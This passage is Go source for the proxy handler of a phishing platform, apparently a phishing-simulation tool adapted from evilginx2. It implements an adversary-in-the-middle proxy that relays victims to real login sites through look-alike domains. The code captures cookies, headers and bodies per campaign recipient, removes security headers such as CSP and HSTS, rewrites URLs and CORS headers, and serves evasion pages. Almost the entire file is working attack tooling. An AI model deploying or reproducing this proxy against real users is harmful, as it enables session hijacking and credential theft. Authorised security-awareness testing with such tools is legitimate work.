package proxy import ( "bytes" "compress/flate" "compress/gzip" "context" "encoding/json" "fmt" "io" "mime/multipart" "net" "net/http" "net/http/cookiejar" "net/url" "regexp" "runtime/debug" "sort" "strconv" "strings" "sync" "time" "github.com/PuerkitoBio/goquery" "github.com/andybalholm/brotli" "github.com/go-errors/errors" "github.com/google/uuid" "github.com/klauspost/compress/zstd" "github.com/phishingclub/phishingclub/cache" "github.com/phishingclub/phishingclub/data" "github.com/phishingclub/phishingclub/database" "github.com/phishingclub/phishingclub/geoip" "github.com/phishingclub/phishingclub/model" "github.com/phishingclub/phishingclub/repository" "github.com/phishingclub/phishingclub/server" "github.com/phishingclub/phishingclub/service" "github.com/phishingclub/phishingclub/utils" "github.com/phishingclub/phishingclub/vo" "go.uber.org/zap" "gopkg.in/yaml.v3" "gorm.io/gorm" ) /* This source file is a modified / highly inspired by evilginx2 (https://github.com/kgretzky/evilginx2/) Which was inspired by the bettercap (https://github.com/bettercap/bettercap) project. Evilginx is a fantastic MITM phishing project - so check it out! Thank you! */ /* Portions of this code are derived from EvilGinx2 (https://github.com/kgretzky/evilginx2) Copyright (c) 2017-2023 Kuba Gretzky (@kgretzky) Licensed under BSD-3-Clause License EvilGinx2 itself incorporates code from the Bettercap project: https://github.com/bettercap/bettercap Copyright (c) 2016-2023 Simone Margaritelli (@evilsocket) This derivative work is licensed under AGPL-3.0. See THIRD_PARTY_LICENSES.md for complete license texts. */ const ( PROXY_COOKIE_MAX_AGE = 3600 CONVERT_TO_ORIGINAL_URLS = 0 CONVERT_TO_PHISHING_URLS = 1 HEADER_JA4 = "X-JA4" ) var ( MATCH_URL_REGEXP = regexp.MustCompile(`\b(http[s]?:\/\/|\\\\|http[s]:\\x2F\\x2F)(([A-Za-z0-9-]{1,63}\.)?[A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|bot|inc|game|xyz|cloud|live|today|online|shop|tech|art|site|wiki|ink|vip|lol|club|click|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|test|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)|([0-9]{1,3}\.{3}[0-9]{1,3})\b`) MATCH_URL_REGEXP_WITHOUT_SCHEME = regexp.MustCompile(`\b(([A-Za-z0-9-]{1,63}\.)?[A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|bot|inc|game|xyz|cloud|live|today|online|shop|tech|art|site|wiki|ink|vip|lol|club|click|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|test|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)|([0-9]{1,3}\.{3}[0-9]{1,3})\b`) ) // VariablesContext holds recipient and campaign data for template variable interpolation type VariablesContext struct { Data map[string]string // the variable data map Config *service.ProxyServiceVariablesConfig // the variables configuration Enabled bool // whether variables are enabled } // RequestContext holds all the context data for a proxy request type RequestContext struct { SessionID string SessionCreated bool PhishDomain string TargetDomain string TargetScheme string Domain *database.Domain ProxyConfig *service.ProxyServiceConfigYAML Session *service.ProxySession ConfigMap map[string]service.ProxyServiceDomainConfig CampaignRecipientID *uuid.UUID ParamName string PendingResponse *http.Response UsedImpersonation bool OriginalUserAgent string // original user agent before any modifications // cached response body to avoid double reads CachedBody []byte BodyWasCompressed bool // cached campaign data to avoid repeated queries Campaign *model.Campaign CampaignTemplate *model.CampaignTemplate CampaignRecipient *model.CampaignRecipient RecipientID *uuid.UUID CampaignID *uuid.UUID ProxyEntry *model.Proxy } type ProxyHandler struct { logger *zap.SugaredLogger SessionManager *service.ProxySessionManager PageRepository *repository.Page CampaignRecipientRepository *repository.CampaignRecipient CampaignRepository *repository.Campaign CampaignTemplateRepository *repository.CampaignTemplate DomainRepository *repository.Domain ProxyRepository *repository.Proxy IdentifierRepository *repository.Identifier CampaignService *service.Campaign TemplateService *service.Template IPAllowListService *service.IPAllowListService OptionRepository *repository.Option OptionService *service.Option cookieName string } func NewProxyHandler( logger *zap.SugaredLogger, sessionManager *service.ProxySessionManager, pageRepo *repository.Page, campaignRecipientRepo *repository.CampaignRecipient, campaignRepo *repository.Campaign, campaignTemplateRepo *repository.CampaignTemplate, domainRepo *repository.Domain, proxyRepo *repository.Proxy, identifierRepo *repository.Identifier, campaignService *service.Campaign, templateService *service.Template, ipAllowListService *service.IPAllowListService, optionRepo *repository.Option, optionService *service.Option, ) *ProxyHandler { // get proxy cookie name from database cookieName := "ps" // fallback default if opt, err := optionRepo.GetByKey(context.Background(), data.OptionKeyProxyCookieName); err == nil { cookieName = opt.Value.String() } return &ProxyHandler{ logger: logger, SessionManager: sessionManager, PageRepository: pageRepo, CampaignRecipientRepository: campaignRecipientRepo, CampaignRepository: campaignRepo, CampaignTemplateRepository: campaignTemplateRepo, DomainRepository: domainRepo, ProxyRepository: proxyRepo, IdentifierRepository: identifierRepo, CampaignService: campaignService, TemplateService: templateService, IPAllowListService: ipAllowListService, OptionRepository: optionRepo, OptionService: optionService, cookieName: cookieName, } } // HandleHTTPRequest processes incoming http requests through the proxy func (m *ProxyHandler) HandleHTTPRequest(w http.ResponseWriter, req *http.Request, domain *database.Domain) (err error) { // add panic recovery with debug trace defer func() { if r := recover(); r != nil { m.logger.Errorw("proxy handler panic recovered", "panic", r, "host", req.Host, "path", req.URL.Path, "query", req.URL.RawQuery, "method", req.Method, "userAgent", req.UserAgent(), "remoteAddr", req.RemoteAddr, "stack", string(debug.Stack()), ) err = fmt.Errorf("proxy handler panic: %v", r) } }() ctx := req.Context() // initialize request context reqCtx, err := m.initializeRequestContext(ctx, req, domain) if err != nil { return err } // if context is nil, campaign is not active - return 404 if reqCtx == nil { return m.writeResponse(w, &http.Response{ StatusCode: http.StatusNotFound, Header: make(http.Header), Body: io.NopCloser(strings.NewReader("")), }) } // check for URL rewrite and redirect if needed if rewriteResp := m.checkAndApplyURLRewrite(req, reqCtx); rewriteResp != nil { return m.writeResponse(w, rewriteResp) } // check ip filtering for initial MITM requests (before session creation) // at this point, initializeRequestContext has loaded all campaign data if reqCtx.CampaignRecipientID != nil && reqCtx.Campaign != nil { blocked, resp := m.checkFilter(req, reqCtx) if blocked { if resp != nil { return m.writeResponse(w, resp) } // if no deny page configured, return 404 return m.writeResponse(w, &http.Response{ StatusCode: http.StatusNotFound, Header: make(http.Header), Body: io.NopCloser(strings.NewReader("")), }) } } // preserve original user agent before any modifications for accurate logging/events reqCtx.OriginalUserAgent = req.Header.Get("User-Agent") // apply request header replacements early (before creating surf client) // this ensures custom user-agent replacements work with impersonation m.applyEarlyRequestHeaderReplacements(req, reqCtx) // create http client with optional browser impersonation client, err := m.createHTTPClientWithImpersonation(req, reqCtx, reqCtx.ProxyConfig) if err != nil { return errors.Errorf("failed to create proxy HTTP client: %w", err) } // process request modifiedReq, resp := m.processRequestWithContext(req, reqCtx) if resp != nil { return m.writeResponse(w, resp) } // prepare request for target server m.prepareRequestForTarget(modifiedReq, client, reqCtx.UsedImpersonation) // execute request // execute request targetResp, err := client.Do(modifiedReq) if err != nil { m.logger.Errorw("failed to execute proxied request", "error", err) return fmt.Errorf("failed to execute request: %w", err) } defer targetResp.Body.Close() // process response finalResp := m.processResponseWithContext(targetResp, reqCtx) // write final response return m.writeResponse(w, finalResp) } // extractTargetHostAndScheme extracts both the host and scheme from the target domain // it first checks the config for an explicit scheme, then falls back to parsing the URL // returns the host (with port if present) and scheme (defaults to "https") func (m *ProxyHandler) extractTargetHostAndScheme(domain *database.Domain, config *service.ProxyServiceConfigYAML) (string, string) { targetDomain := domain.ProxyTargetDomain if targetDomain == "" { return "", "https" } // extract the host first host := targetDomain schemeFromURL := "" // check if it's a full URL with scheme if strings.Contains(targetDomain, "://") { if parsedURL, err := url.Parse(targetDomain); err == nil { host = parsedURL.Host schemeFromURL = parsedURL.Scheme } } // determine the scheme to use // priority: 1. config scheme field, 2. scheme from URL, 3. default to https scheme := "https" // check if there's a scheme specified in the config for this target domain if config != nil && config.Hosts != nil { if hostConfig, exists := config.Hosts[targetDomain]; exists && hostConfig.Scheme != "" { scheme = hostConfig.Scheme } else if schemeFromURL != "" { scheme = schemeFromURL } } else if schemeFromURL != "" { scheme = schemeFromURL } return host, scheme } // initializeRequestContext creates and populates the request context with all necessary data func (m *ProxyHandler) initializeRequestContext(ctx context.Context, req *http.Request, domain *database.Domain) (*RequestContext, error) { // setup proxy config proxyEntry, err := m.ProxyRepository.GetByID(ctx, domain.ProxyID, &repository.ProxyOption{}) if err != nil { return nil, errors.Errorf("failed to fetch Proxy config: %w", err) } proxyConfig, err := m.parseProxyConfig(proxyEntry.ProxyConfig.MustGet().String()) if err != nil { return nil, errors.Errorf("failed to parse Proxy config for domain %s: %w", domain.Name, err) } // extract target domain and scheme targetDomain, targetScheme := m.extractTargetHostAndScheme(domain, proxyConfig) if targetDomain == "" { return nil, errors.Errorf("domain has empty Proxy target domain") } // check for campaign recipient id campaignRecipientID, paramName := m.getCampaignRecipientIDFromURLParams(req) reqCtx := &RequestContext{ PhishDomain: req.Host, TargetDomain: targetDomain, TargetScheme: targetScheme, Domain: domain, ProxyConfig: proxyConfig, CampaignRecipientID: campaignRecipientID, ParamName: paramName, ProxyEntry: proxyEntry, } // preload campaign data if we have a campaign recipient ID if campaignRecipientID != nil { // get campaign recipient cRecipient, err := m.CampaignRecipientRepository.GetByID(ctx, campaignRecipientID, &repository.CampaignRecipientOption{}) if err != nil { return nil, errors.Errorf("failed to get campaign recipient: %w", err) } reqCtx.CampaignRecipient = cRecipient // get recipient and campaign IDs recipientID, err := cRecipient.RecipientID.Get() if err != nil { return nil, errors.Errorf("failed to get recipient ID: %w", err) } campaignID, err := cRecipient.CampaignID.Get() if err != nil { return nil, errors.Errorf("failed to get campaign ID: %w", err) } reqCtx.RecipientID = &recipientID reqCtx.CampaignID = &campaignID // get campaign campaign, err := m.CampaignRepository.GetByID(ctx, &campaignID, &repository.CampaignOption{ WithCampaignTemplate: true, }) if err != nil { return nil, errors.Errorf("failed to get campaign: %w", err) } // check if campaign is active if !campaign.IsActive() { m.logger.Debugw("campaign is not active", "campaignID", campaignID.String(), ) return nil, nil } reqCtx.Campaign = campaign // preload campaign template if available if templateID, err := campaign.TemplateID.Get(); err == nil { cTemplate, err := m.CampaignTemplateRepository.GetByID(ctx, &templateID, &repository.CampaignTemplateOption{ WithDomain: true, WithIdentifier: true, WithEmail: true, }) if err == nil { reqCtx.CampaignTemplate = cTemplate } } } return reqCtx, nil } func (m *ProxyHandler) processRequestWithContext(req *http.Request, reqCtx *RequestContext) (*http.Request, *http.Response) { // ensure scheme is set if req.URL.Scheme == "" { req.URL.Scheme = "https" } reqURL := req.URL.String() // check for existing session first sessionCookie, err := req.Cookie(m.cookieName) if err == nil && m.isValidSessionCookie(sessionCookie.Value) { reqCtx.SessionID = sessionCookie.Value } // always create new session for initial MITM page visits with campaign recipient ID createSession := reqCtx.CampaignRecipientID != nil // check if this has a valid state parameter (post-evasion request) hasValidStateParameter := false if createSession && reqCtx.Campaign != nil && reqCtx.CampaignTemplate != nil { if reqCtx.CampaignTemplate.StateIdentifier != nil { stateParamKey := reqCtx.CampaignTemplate.StateIdentifier.Name.MustGet() encryptedParam := req.URL.Query().Get(stateParamKey) if encryptedParam != "" && reqCtx.CampaignID != nil { secret := utils.UUIDToSecret(reqCtx.CampaignID) if decrypted, err := utils.Decrypt(encryptedParam, secret); err == nil { hasValidStateParameter = decrypted != "deny" } } } } // check for deny pages first (for any campaign recipient ID) if reqCtx.CampaignRecipientID != nil { if resp := m.checkAndServeDenyPage(req, reqCtx); resp != nil { return req, resp } } // check for evasion/deny pages BEFORE session resolution for initial requests if createSession { // cleanup any existing session first m.cleanupExistingSession(reqCtx.CampaignRecipientID, reqURL) // check for evasion page only if no valid state parameter (initial request) if !hasValidStateParameter { if resp := m.checkAndServeEvasionPage(req, reqCtx); resp != nil { return req, resp } } } // check for response rules first (before access control) if resp := m.checkResponseRules(req, reqCtx); resp != nil { // if response rule doesn't forward, return response immediately if !m.shouldForwardRequest(req, reqCtx) { return req, resp } // if response rule forwards, we'll send the response after proxying reqCtx.PendingResponse = resp } // check access control before proceeding hasSession := reqCtx.SessionID != "" if allowed, denyAction := m.evaluatePathAccess(req.URL.Path, reqCtx, hasSession, req); !allowed { return req, m.createDenyResponse(req, reqCtx, denyAction, hasSession) } // get or create session and populate context if we have campaign recipient ID or valid session if reqCtx.CampaignRecipientID != nil || reqCtx.SessionID != "" { err = m.resolveSessionContext(req, reqCtx, createSession) if err != nil { m.logger.Errorw("failed to resolve session context", "error", err) return req, m.createServiceUnavailableResponse("Service temporarily unavailable") } // load campaign recipient object if not already loaded (needed for deny page rendering) if reqCtx.CampaignRecipientID != nil && reqCtx.CampaignRecipient == nil { ctx := req.Context() cRecipient, err := m.CampaignRecipientRepository.GetByID(ctx, reqCtx.CampaignRecipientID, &repository.CampaignRecipientOption{}) if err != nil { m.logger.Errorw("failed to load campaign recipient for session", "error", err) } else { reqCtx.CampaignRecipient = cRecipient // also update recipient ID if not set if reqCtx.RecipientID == nil { if rid, err := cRecipient.RecipientID.Get(); err == nil { reqCtx.RecipientID = &rid } } } } // check ip filtering for session-based requests (after session is resolved) // skip if this is initial request (already checked before session creation) if reqCtx.CampaignRecipientID != nil && !createSession { blocked, resp := m.checkFilter(req, reqCtx) if blocked { return req, resp } } // apply session-based request processing return m.applySessionToRequestWithContext(req, reqCtx), nil } return m.prepareRequestWithoutSession(req, reqCtx), nil } func (m *ProxyHandler) cleanupExistingSession(campaignRecipientID *uuid.UUID, reqURL string) { if existingSessionID := m.findSessionByCampaignRecipient(campaignRecipientID); existingSessionID != "" { m.SessionManager.DeleteSession(existingSessionID) } } func (m *ProxyHandler) prepareRequestWithoutSession(req *http.Request, reqCtx *RequestContext) *http.Request { // set host and scheme req.Host = reqCtx.TargetDomain req.URL.Host = reqCtx.TargetDomain req.URL.Scheme = reqCtx.TargetScheme // create a dummy session for header normalization (no campaign/session data) dummySession := &service.ProxySession{ Config: sync.Map{}, } // populate dummy config for normalization - need to map phishing domains to target domains if reqCtx.ProxyConfig != nil && reqCtx.ProxyConfig.Hosts != nil { for targetDomain, hostConfig := range reqCtx.ProxyConfig.Hosts { if hostConfig != nil { dummySession.Config.Store(targetDomain, *hostConfig) } } } // normalize headers m.normalizeRequestHeaders(req, dummySession) // patch query parameters m.patchQueryParametersWithContext(req, reqCtx) // get host config from ProxyConfig.Hosts using TargetDomain var hostConfig service.ProxyServiceDomainConfig if reqCtx.ProxyConfig != nil && reqCtx.ProxyConfig.Hosts != nil { if cfg, ok := reqCtx.ProxyConfig.Hosts[reqCtx.TargetDomain]; ok { hostConfig = *cfg } } // note: header rewrite rules are already applied in applyEarlyRequestHeaderReplacements // apply body rewrite rules (no capture) // append global rewrite rules to host config for body replacements if reqCtx.ProxyConfig != nil && reqCtx.ProxyConfig.Global != nil && reqCtx.ProxyConfig.Global.Rewrite != nil { hostConfig.Rewrite = append(hostConfig.Rewrite, reqCtx.ProxyConfig.Global.Rewrite...) } if req.Body != nil { body, err := io.ReadAll(req.Body) if err == nil { if hostConfig.Rewrite != nil { for _, replacement := range hostConfig.Rewrite { if replacement.From == "" || replacement.From == "request_body" || replacement.From == "any" { engine := replacement.Engine if engine == "" { engine = "regex" } if engine == "regex" { re, err := regexp.Compile(replacement.Find) if err == nil { oldContent := string(body) content := re.ReplaceAllString(oldContent, replacement.Replace) body = []byte(content) } } } } } req.Body = io.NopCloser(bytes.NewBuffer(body)) req.ContentLength = int64(len(body)) } } return req } // resolveSessionContext gets or creates a session and populates the request context func (m *ProxyHandler) resolveSessionContext(req *http.Request, reqCtx *RequestContext, createSession bool) error { if createSession { newSession, err := m.createNewSession(req, reqCtx) if err != nil { return err } reqCtx.SessionID = newSession.ID reqCtx.SessionCreated = true reqCtx.Session = newSession // register page visit event for MITM landing m.registerPageVisitEvent(req, newSession) // allow list IP for tunnel mode access clientIP := m.getClientIP(req) if clientIP != "" { m.IPAllowListService.AddIP(clientIP, reqCtx.Domain.ProxyID.String(), 10*time.Minute) } } else { // load existing session session, exists := m.SessionManager.GetSession(reqCtx.SessionID) if !exists { return fmt.Errorf("session not found") } reqCtx.Session = session // copy campaign from session to reqCtx for existing sessions if session.Campaign != nil { reqCtx.Campaign = session.Campaign reqCtx.CampaignID = session.CampaignID reqCtx.CampaignRecipientID = session.CampaignRecipientID reqCtx.RecipientID = session.RecipientID // check if campaign is still active if !session.Campaign.IsActive() { m.logger.Debugw("session campaign is no longer active", "sessionID", reqCtx.SessionID, "campaignID", session.CampaignID.String(), ) return fmt.Errorf("campaign is no longer active") } } } // populate config map once reqCtx.ConfigMap = m.configToMap(&reqCtx.Session.Config) return nil } func (m *ProxyHandler) applySessionToRequestWithContext(req *http.Request, reqCtx *RequestContext) *http.Request { // handle initial request with campaign recipient id if reqCtx.CampaignRecipientID != nil && reqCtx.SessionCreated { // always redirect to StartURL for new sessions (both initial and post-evasion) // use cached proxy configuration to extract start url if reqCtx.ProxyEntry != nil { startURL, err := reqCtx.ProxyEntry.StartURL.Get() if err == nil { // parse start url to get the target path and query if parsedStartURL, err := url.Parse(startURL.String()); err == nil { // use the path and query from start url for initial mitm visits req.URL.Path = parsedStartURL.Path req.URL.RawQuery = parsedStartURL.RawQuery } } } } // handle initial request with campaign recipient id (from URL parameters) // use session's original target domain only for initial landing if reqCtx.CampaignRecipientID != nil && reqCtx.SessionCreated { req.Host = reqCtx.Session.TargetDomain req.URL.Scheme = reqCtx.TargetScheme req.URL.Host = reqCtx.Session.TargetDomain // remove campaign parameters from query params q := req.URL.Query() q.Del(reqCtx.ParamName) // also remove state parameter if exists using cached template data if reqCtx.Session.Campaign != nil && reqCtx.CampaignTemplate != nil && reqCtx.CampaignTemplate.StateIdentifier != nil { stateParamKey := reqCtx.CampaignTemplate.StateIdentifier.Name.MustGet() q.Del(stateParamKey) } req.URL.RawQuery = q.Encode() } else { // for subsequent requests with session but no campaign recipient id, // use current domain's target instead of session's original target // this allows cross-domain requests to work correctly targetDomain := reqCtx.TargetDomain if targetDomain == "" { // fallback to mapping from phishing host targetDomain = m.replaceHostWithOriginal(req.Host, reqCtx.ConfigMap) } req.Host = targetDomain req.URL.Host = targetDomain req.URL.Scheme = reqCtx.TargetScheme } // apply request processing m.processRequestWithSessionContext(req, reqCtx) return req } func (m *ProxyHandler) processRequestWithSessionContext(req *http.Request, reqCtx *RequestContext) { // normalize headers m.normalizeRequestHeaders(req, reqCtx.Session) // apply replace and capture rules m.onRequestBody(req, reqCtx.Session, reqCtx.ProxyConfig) m.onRequestHeader(req, reqCtx.Session) // patch query parameters m.patchQueryParametersWithContext(req, reqCtx) // patch request body m.patchRequestBodyWithContext(req, reqCtx) } func (m *ProxyHandler) patchQueryParametersWithContext(req *http.Request, reqCtx *RequestContext) { qs := req.URL.Query() if len(qs) == 0 { return } for param := range qs { for i, value := range qs[param] { qs[param][i] = string(m.patchUrls(reqCtx.ConfigMap, []byte(value), CONVERT_TO_ORIGINAL_URLS)) } } req.URL.RawQuery = qs.Encode() } func (m *ProxyHandler) patchRequestBodyWithContext(req *http.Request, reqCtx *RequestContext) { if req.Body == nil { return } body, err := io.ReadAll(req.Body) if err != nil { m.logger.Errorw("failed to read request body for patching", "error", err) return } req.Body.Close() body = m.patchUrls(reqCtx.ConfigMap, body, CONVERT_TO_ORIGINAL_URLS) req.Body = io.NopCloser(bytes.NewBuffer(body)) req.ContentLength = int64(len(body)) } func (m *ProxyHandler) prepareRequestForTarget(req *http.Request, client *http.Client, usedImpersonation bool) { req.RequestURI = "" // we always use surf now, which handles decompression automatically // keep accept-encoding headers for browser fingerprinting // note: usedImpersonation tracks if impersonation features are enabled, not if surf is used req.Header.Del(HEADER_JA4) // setup cookie jar for redirect handling jar, _ := cookiejar.New(nil) client.Jar = jar client.CheckRedirect = func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse } // remove proxy session cookie m.removeProxyCookie(req) } func (m *ProxyHandler) removeProxyCookie(req *http.Request) { if req.Header.Get("Cookie") == "" { return } cookies := req.Cookies() var filteredCookies []*http.Cookie for _, cookie := range cookies { if cookie.Name != m.cookieName { filteredCookies = append(filteredCookies, cookie) } } req.Header.Del("Cookie") for _, cookie := range filteredCookies { req.AddCookie(cookie) } } func (m *ProxyHandler) processResponseWithContext(resp *http.Response, reqCtx *RequestContext) *http.Response { if resp == nil { return nil } // check for pending response from response rules with forward: true if reqCtx.PendingResponse != nil { // if we have a pending response, return it instead of the proxied response return reqCtx.PendingResponse } // handle responses with or without session if reqCtx.SessionID != "" && reqCtx.Session != nil { // capture response data before any rewriting m.captureResponseDataWithContext(resp, reqCtx) // process cookies for phishing domain responses after capture if reqCtx.PhishDomain != "" { m.processCookiesForPhishingDomainWithContext(resp, reqCtx) } return m.processResponseWithSessionContext(resp, reqCtx) } // process cookies for phishing domain responses (no session case) if reqCtx.PhishDomain != "" { m.processCookiesForPhishingDomainWithContext(resp, reqCtx) } return m.processResponseWithoutSessionContext(resp, reqCtx) } func (m *ProxyHandler) captureResponseDataWithContext(resp *http.Response, reqCtx *RequestContext) { // capture cookies, headers, and body m.onResponseCookies(resp, reqCtx.Session) m.onResponseHeader(resp, reqCtx.Session) contentType := resp.Header.Get("Content-Type") if m.shouldProcessContent(contentType) { body, wasCompressed, err := m.readAndDecompressBody(resp, reqCtx.UsedImpersonation) if err == nil { m.onResponseBody(resp, body, reqCtx.Session) // cache body for rewrite phase to avoid double read reqCtx.CachedBody = body reqCtx.BodyWasCompressed = wasCompressed // note: body will be restored in rewriteResponseBodyWithContext after URL patching } } } func (m *ProxyHandler) processResponseWithSessionContext(resp *http.Response, reqCtx *RequestContext) *http.Response { // set session cookie for new sessions if reqCtx.SessionCreated { // clear all existing cookies for initial MITM visit to ensure fresh start m.clearAllCookiesForInitialMitmVisit(resp, reqCtx) m.setSessionCookieWithContext(resp, reqCtx) } // check for campaign flow progression if m.shouldRedirectForCampaignFlow(reqCtx.Session, resp.Request) { if redirectResp := m.createCampaignFlowRedirect(reqCtx.Session, resp); redirectResp != nil { if reqCtx.SessionCreated { m.copyCookieToResponse(resp, redirectResp) } return redirectResp } } // apply response rewriting m.rewriteResponseHeadersWithContext(resp, reqCtx) m.rewriteResponseBodyWithContext(resp, reqCtx) return resp } func (m *ProxyHandler) setSessionCookieWithContext(resp *http.Response, reqCtx *RequestContext) { // extract top-level domain to make session cookie work across all subdomains topLevelDomain := m.extractTopLevelDomain(reqCtx.PhishDomain) cookie := &http.Cookie{ Name: m.cookieName, Value: reqCtx.SessionID, Path: "/", Domain: "." + topLevelDomain, Expires: time.Now().Add(time.Duration(PROXY_COOKIE_MAX_AGE) * time.Second), HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode, } resp.Header.Add("Set-Cookie", cookie.String()) } func (m *ProxyHandler) copyCookieToResponse(sourceResp, targetResp *http.Response) { cookieHeaders := sourceResp.Header.Values("Set-Cookie") for _, cookieHeader := range cookieHeaders { targetResp.Header.Add("Set-Cookie", cookieHeader) } } func (m *ProxyHandler) rewriteResponseHeadersWithContext(resp *http.Response, reqCtx *RequestContext) { // remove security headers securityHeaders := []string{ "Content-Security-Policy", "Content-Security-Policy-Report-Only", "Strict-Transport-Security", "X-XSS-Protection", "X-Content-Type-Options", "X-Frame-Options", } for _, header := range securityHeaders { resp.Header.Del(header) } // fix cors headers if allowOrigin := resp.Header.Get("Access-Control-Allow-Origin"); allowOrigin != "" && allowOrigin != "*" { if oURL, err := url.Parse(allowOrigin); err == nil { if phishHost := m.replaceHostWithPhished(oURL.Host, reqCtx.ConfigMap); phishHost != "" { oURL.Host = phishHost resp.Header.Set("Access-Control-Allow-Origin", oURL.String()) } } resp.Header.Set("Access-Control-Allow-Credentials", "true") } // fix location header if location := resp.Header.Get("Location"); location != "" { m.logger.Debugw("rewriting location header", "original_location", location, "phish_domain", reqCtx.PhishDomain, "target_domain", reqCtx.TargetDomain) if rURL, err := url.Parse(location); err == nil { m.logger.Debugw("parsed location URL", "host", rURL.Host, "path", rURL.Path) if phishHost := m.replaceHostWithPhished(rURL.Host, reqCtx.ConfigMap); phishHost != "" { m.logger.Debugw("found phish host mapping", "original_host", rURL.Host, "phish_host", phishHost) // apply URL path rewrites using the redirect URL's host domain, not current request's domain rURL.Path = m.rewriteURLPathForDomain(rURL.Path, rURL.Host, reqCtx) rURL.Host = phishHost resp.Header.Set("Location", rURL.String()) m.logger.Debugw("rewrote location header", "new_location", rURL.String()) } else { m.logger.Debugw("no phish host mapping found for location", "host", rURL.Host, "config_map_size", len(reqCtx.ConfigMap)) // log all available mappings for origHost, cfg := range reqCtx.ConfigMap { m.logger.Debugw("available mapping", "original_host", origHost, "phish_host", cfg.To) } } } } // apply custom replacement rules for response headers (after all hardcoded changes) if reqCtx.Session != nil { varCtx := m.buildVariablesContext(resp.Request.Context(), reqCtx.Session, reqCtx.ProxyConfig) m.applyCustomResponseHeaderReplacementsWithVariables(resp, reqCtx.Session, varCtx) } } func (m *ProxyHandler) applyCustomResponseHeaderReplacements(resp *http.Response, session *service.ProxySession) { m.applyCustomResponseHeaderReplacementsWithVariables(resp, session, nil) } func (m *ProxyHandler) applyCustomResponseHeaderReplacementsWithVariables(resp *http.Response, session *service.ProxySession, varCtx *VariablesContext) { // get all headers as a string var buf bytes.Buffer resp.Header.Write(&buf) headers := buf.Bytes() // only apply rewrite rules for the current host if hostConfig, ok := session.Config.Load(resp.Request.Host); ok { hCfg := hostConfig.(service.ProxyServiceDomainConfig) if hCfg.Rewrite != nil { for _, replacement := range hCfg.Rewrite { if replacement.From == "response_header" || replacement.From == "any" { headers = m.applyReplacementWithVariables(headers, replacement, session.ID, varCtx, "") } } } } // parse the modified headers back if string(headers) != buf.String() { // clear existing headers and parse the new ones resp.Header = make(http.Header) lines := strings.Split(string(headers), "\r\n") for _, line := range lines { line = strings.TrimSpace(line) if line == "" { continue } if parts := strings.SplitN(line, ":", 2); len(parts) == 2 { headerName := strings.TrimSpace(parts[0]) headerValue := strings.TrimSpace(parts[1]) if headerName != "" { resp.Header.Add(headerName, headerValue) } } } } } func (m *ProxyHandler) rewriteResponseBodyWithContext(resp *http.Response, reqCtx *RequestContext) { contentType := resp.Header.Get("Content-Type") if !m.shouldProcessContent(contentType) { return } // use cached body from capture phase to avoid double read var body []byte var wasCompressed bool if reqCtx.CachedBody != nil { body = reqCtx.CachedBody wasCompressed = reqCtx.BodyWasCompressed } else { var err error body, wasCompressed, err = m.readAndDecompressBody(resp, reqCtx.UsedImpersonation) if err != nil { m.logger.Errorw("failed to read and decompress response body", "error", err) return } } body = m.patchUrls(reqCtx.ConfigMap, body, CONVERT_TO_PHISHING_URLS) body = m.applyURLPathRewrites(body, reqCtx) // build variables context for template interpolation varCtx := m.buildVariablesContext(resp.Request.Context(), reqCtx.Session, reqCtx.ProxyConfig) body = m.applyCustomReplacementsWithVariables(body, reqCtx.Session, reqCtx.TargetDomain, reqCtx.ProxyConfig, varCtx, contentType) // apply obfuscation if enabled if reqCtx.Campaign != nil && strings.Contains(contentType, 